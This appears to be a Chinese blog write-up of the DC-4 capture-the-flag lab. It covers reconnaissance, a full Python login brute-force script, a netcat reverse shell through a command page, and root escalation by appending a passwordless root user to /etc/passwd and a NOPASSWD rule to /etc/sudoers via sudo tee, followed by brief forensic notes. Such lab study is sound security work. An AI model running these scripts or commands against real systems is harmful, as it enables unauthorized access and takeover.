dc4靶场通过及溯源

一、前置知识

(1)/var目录

典型子目录包括:

  • /var/log → 日志文件(不断增长)
  • /var/cache → 应用缓存
  • /var/lib → 程序状态数据(如数据库)
  • /var/spool → “排队”或“待处理”的数据
  • /var/mail → 用户邮箱(传统 Unix 邮件存储)

dc系列靶场,很多重要的东西都在邮件里面,了解邮件所在位置什么关键。

(2)/etc/passwd、/etc/sudoers和/etc/shadow

这三个文件是本地提权的常用文件。

二、信息收集

使用nmap扫描发现,靶机dc4开放了2个入口,ssh服务和http服务。

nginx 1.15.10也没发现可利用的漏洞。

网站目录扫描一下,没发现什么敏感文件和目录。

采用登录网站,bp抓包的方式,发现网站没有什么反暴力破解的方式,于是开展爆破。

三、网站密码爆破

bp抓包后,尝试爆破,但是速度太慢了,通过修改cookie或者删除cookie,我发现都是可以继续发送登录请求的,几乎没有限制。为了提高爆破速度,我自己写了一个python脚本,将bp抓的数据包丢进去,开始爆破,

#!/usr/bin/env python3
import requests
import csv
import sys
import re
import os

# ==================== 配置区 ====================
TARGET_URL = "http://192.168.136.193/login.php"
USERNAME = "admin"
COOKIE = ""

WORDLIST = "/usr/share/seclists/Passwords/500-worst-passwords.txt"
OUTPUT_CSV = "bruteforce_results.csv"  # 输出文件名
# ===============================================

HEADERS = {
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate, br",
    "Content-Type": "application/x-www-form-urlencoded",
    "Origin": "http://192.168.136.193",
    "Connection": "keep-alive",
    "Referer": "http://192.168.136.193",
    "Upgrade-Insecure-Requests": "1",
    "Priority": "u=0, i",
    "Cookie": COOKIE
}

def sanitize_for_csv(text):
    """清理文本,避免 CSV 格式错乱"""
    if not isinstance(text, str):
        text = str(text)
    return re.sub(r'[\r\n\t]', ' ', text).strip()

def try_password(password):
    pwd = password.strip()
    if not pwd:
        return None

    data = {"username": USERNAME, "password": pwd}

    try:
        response = requests.post(
            TARGET_URL,
            headers=HEADERS,
            data=data,
            allow_redirects=False,
            timeout=10
        )

        status = response.status_code
        length = len(response.content)
        location = response.headers.get("Location", "")
        content = response.text

        # 关键词检测(可自定义)
        content_lower = content.lower()
        has_error = int("error" in content_lower or "invalid" in content_lower or "wrong" in content_lower)
        has_welcome = int(any(kw in content_lower for kw in ["welcome", "dashboard", "logout", "success", "logged"]))

        snippet = sanitize_for_csv(content[:200])  # 前200字符用于参考

        return {
            "password": sanitize_for_csv(pwd),
            "status_code": status,
            "response_length": length,
            "location": sanitize_for_csv(location),
            "has_error_keyword": has_error,
            "has_success_keyword": has_welcome,
            "response_snippet": snippet
        }

    except Exception as e:
        return {
            "password": sanitize_for_csv(pwd),
            "status_code": "ERR",
            "response_length": 0,
            "location": sanitize_for_csv(str(e)),
            "has_error_keyword": 0,
            "has_success_keyword": 0,
            "response_snippet": "Request failed"
        }

def main():
    # 加载字典
    try:
        with open(WORDLIST, "r", errors="ignore") as f:
            passwords = [line.strip() for line in f if line.strip()]
    except FileNotFoundError:
        print(f"[-] Wordlist not found: {WORDLIST}", file=sys.stderr)
        sys.exit(1)

    print(f"[*] Loaded {len(passwords)} passwords.")
    print(f"[*] Output will be saved to: {OUTPUT_CSV}")

    # 写入 CSV
    fieldnames = [
        "password",
        "status_code",
        "response_length",
        "location",
        "has_error_keyword",
        "has_success_keyword",
        "response_snippet"
    ]

    with open(OUTPUT_CSV, "w", newline="", encoding="utf-8") as csvfile:
        writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
        writer.writeheader()

        for i, pwd in enumerate(passwords, 1):
            result = try_password(pwd)
            if result:
                writer.writerow(result)
            # 可选:显示进度(不影响 CSV)
            if i % 50 == 0:
                print(f"    Processed: {i}/{len(passwords)}", end='\r', file=sys.stderr)

    print(f"\n[+] Done! Results saved to: {os.path.abspath(OUTPUT_CSV)}")

if __name__ == "__main__":
    main()

由于很难说清楚登录成功后的状态是302还是303或者是200,我的脚本就把常见的字段保存为csv,然后分析知道,happy是正确答案。值得注意的是,如果你爆破时候带了cookies,那么happy之后的字典都会成功,因为这个时候服务器已经标识你成功登录了,不会验证了。

四、获取www-data权限

登录网站后,发现有个command.php文件,可以执行一部分命令。

命令可以放在radio中执行,但是它是有长度限制的,执行python的反弹shell长度就不够用。

在这里,要注意bash不能执行,nc和python可以,同时这个目录www-data是没有写的权限的,

因此文件上传、/dev/tcp回连都不行,只能用nc -e。

用msf监听模块开启监听,发送nc命令后,建立反弹shell,发现目录缺失不能写,只能写到tmp目录写,如果过分操作还会被记录,自动发送邮件。

使用find 查找suid也没发现重要的文件,test.sh也没有什么用处。搜集一番后发现系统有个三个用户,同时还有jim的备用密码,还有一些邮件信息。使用python开启hfs服务下载密码备份表进行爆破。

爆破后得到jim的密码

五、获取其他用户的密码

登录后使用sudo -l发现jim用户没有任何特殊权限,但是在它的邮箱发现了另外一个用户的密码。

可以在/var/mail 也可以在/var/spool/mail中查看

j大概意思是charles休假了把密码给了jim。

切换到charles用户,输入密码,检查sudo -l 发现有sudo tee的nopass 的特殊权限

六、特殊文件特权

输入teehee -h发现他就是tee,可以追加文件

下面介绍两种方式提权到root

1.添加新的root用户

新建一个空口令的账户到passwd文件,切换后就是root用户

echo 'pwn::0:0::/root:/bin/bash' | sudo teehee -a /etc/passwd

2.给与所有操作sudo的NOPASSWD权限

echo  'charles ALL=(ALL) NOPASSWD: ALL' | sudo teehee -a /etc/sudoers

七、溯源分析

输入ps -auxef,发现了www-data用户的nc连结和charles用户的切换用户时产生的颜色变化。值得注意的是修改passwd和sudoers的操作并没有被记录下来,并且邮箱告警也只会在密码次数错误太多才会发出。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值